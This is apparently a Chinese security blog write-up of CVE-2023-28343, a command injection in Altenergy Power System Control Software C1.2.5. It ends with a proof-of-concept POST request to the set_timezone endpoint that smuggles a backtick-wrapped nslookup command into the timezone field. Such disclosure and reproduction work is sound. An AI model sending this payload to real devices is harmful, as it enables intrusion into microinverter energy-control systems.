Altenergy Power System Control命令执行漏洞(CVE-2023-28343)

网安引领时代，弥天点亮未来

0x00写在前面

本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！

0x01漏洞介绍

Altenergy Power System Control Software是Altenergy Power System公司的微型逆变器控制软件。

AlAltenergy Power System Control Software C1.2.5版本存在安全漏洞，该漏洞源于存在操作系统命令注入漏洞。

0x02影响版本

AlAltenergy Power System Control Software C1.2.5

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

POC （POST）

POST /index.php/management/set_timezone HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36Connection: closeContent-Length: 62Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://127.0.0.1/index.php/management/datetimeX-Requested-With: XMLHttpRequesttimezone=`nslookup dns`